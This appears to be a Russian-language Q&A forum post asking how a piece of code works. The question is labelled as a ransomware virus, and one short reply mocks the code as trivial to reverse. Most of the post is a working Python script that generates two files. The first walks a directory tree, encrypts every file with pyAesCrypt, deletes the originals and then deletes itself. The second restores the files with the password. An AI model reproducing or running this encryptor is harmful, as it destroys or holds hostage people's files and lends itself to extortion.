Помогите разобраться как работает код

247 просмотраinput numpy print python-3.6 python-import
0
0 Комментариев

вирус шифровальщик
direct=input(\»Write the root directory: \»)
password=input(\»Write the password: \»)
print(\»—————————————————————\» )
with open(\»crypt.py\»,\»w\») as crypt:
crypt.write(\’\’\’
import os, sys
def crypt(file):
import pyAesCrypt
print(\»—————————————————————\» )
password=\»\’\’\’+str(password)+\’\’\’\»
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+\».crp\», password, bufferSize)
print(\»[crypted] \’\»+str(file)+\».crp\’\»)
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk(\»\’\’\’+str(direct)+\’\’\’\»)
print(\»—————————————————————\» )
os.remove(str(sys.argv[0]))\’\’\’)
print(\»[+] File \’crypt.py\’ successfully saved!\»)
with open(\»key.py\»,\»w\») as key:
key.write(\’\’\’
import os, sys
def decrypt(file):
import pyAesCrypt
print(\»—————————————————————\» )
password=\»\’\’\’+str(password)+\’\’\’\»
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print(\»[decrypted] \’\»+str(os.path.splitext(file)[0])+\»\’\»)
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk(\»\’\’\’+str(direct)+\’\’\’\»)
print(\»—————————————————————\»)
os.remove(str(sys.argv[0]))\’\’\’)
print(\»[+] File \’key.py\’ successfully saved!\»)
print(\»—————————————————————\»)


Добавить комментарий

1 Ответы

Python Опубликовано 12.12.2018
0

Я лично научу делать людей реверс твоего гавношифровальщика)) код простейший)

Добавить комментарий
Напишите свой ответ на данный вопрос.
Scroll Up